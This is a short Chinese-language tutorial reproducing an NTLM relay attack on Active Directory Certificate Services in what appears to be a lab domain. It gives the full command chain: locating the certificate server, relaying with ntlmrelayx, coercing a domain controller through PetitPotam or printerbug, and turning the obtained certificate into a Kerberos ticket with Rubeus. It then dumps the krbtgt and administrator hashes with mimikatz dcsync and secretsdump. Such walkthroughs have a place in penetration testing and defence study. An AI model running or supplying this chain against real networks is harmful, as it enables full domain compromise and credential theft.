ADCS证书服务攻击
前言:关于NTLM Relay:你所不知道的NTLM Rela
由于ADCS的http证书接口没有启用NTLM中继保护,因此其易受NTLM Relay攻击。而且Authorization HTTP 标头明确只允许通过 NTLM 身份验证,因此Kerberos协议无法使用。因此,攻击者可以利用NTLM Relay攻击ADCS证书服务。
关于搭建ADCS证书服务:配置启用基于SSL的LDAP(LDAPS)
代码语言:javascript复制http://10.211.55.4/certsrv/certfnsh.asp
01
漏洞复现
定位证书服务器机器
certutil -config - -ping
ntlmrelayx监听,这里需要新的impacket:https://github.com/ExAndroidDev/impacket/tree/ntlmrelayx-adcs-attack
python3 ntlmrelayx.py -t http://10.211.55.4/certsrv/certfnsh.asp -smb2support --adcs --template 'domain controller'
使用脚本触发辅助域控回连我们的攻击机器,这里可以使用最新的Petitpotam.py,也可以使用printerbug.py 。详情:利用PetitPotam进行NTLM Relay攻击
python3 Petitpotam.py -d xie.com -u hack -p P@ss1234 10.211.55.2 10.211.55.5
#或者使用printerbug.py也可以触发
python3 printerbug.py xie/hack@10.211.55.5 10.211.55.2
或
获取到base64编码的证书数据,会打印出很多个base64编码的证书,我们随便选择一个即可。
然后使用Rubeus导入证书数据
Rubeus.exe asktgt /user:AD02$ /certificate:打印出来的base64的证书数据 /ptt
然后使用mimikatz即可导出域内任意用户哈希
mimikatz.exe
#查看kerberos票据
kerberos::list
#导出krbtgt用户的hash
lsadump::dcsync /user:krbtgt /csv
或者可以手动导入证书
kerberos::ptt ticket.kirbi
也可以使用kekeo将.kirbi后缀的证书转换为 .ccache后缀的证书,然后使用impacket工具进行利用。
misc::convert ccache ticket.kirbi
export KRB5CCNAME=AD02$@XIE.COM_krbtgt~xie.com@XIE.COM.ccaches
proxychains4 -q python3 secretsdump.py -k -no-pass AD01.xie.com -just-dc-user administrator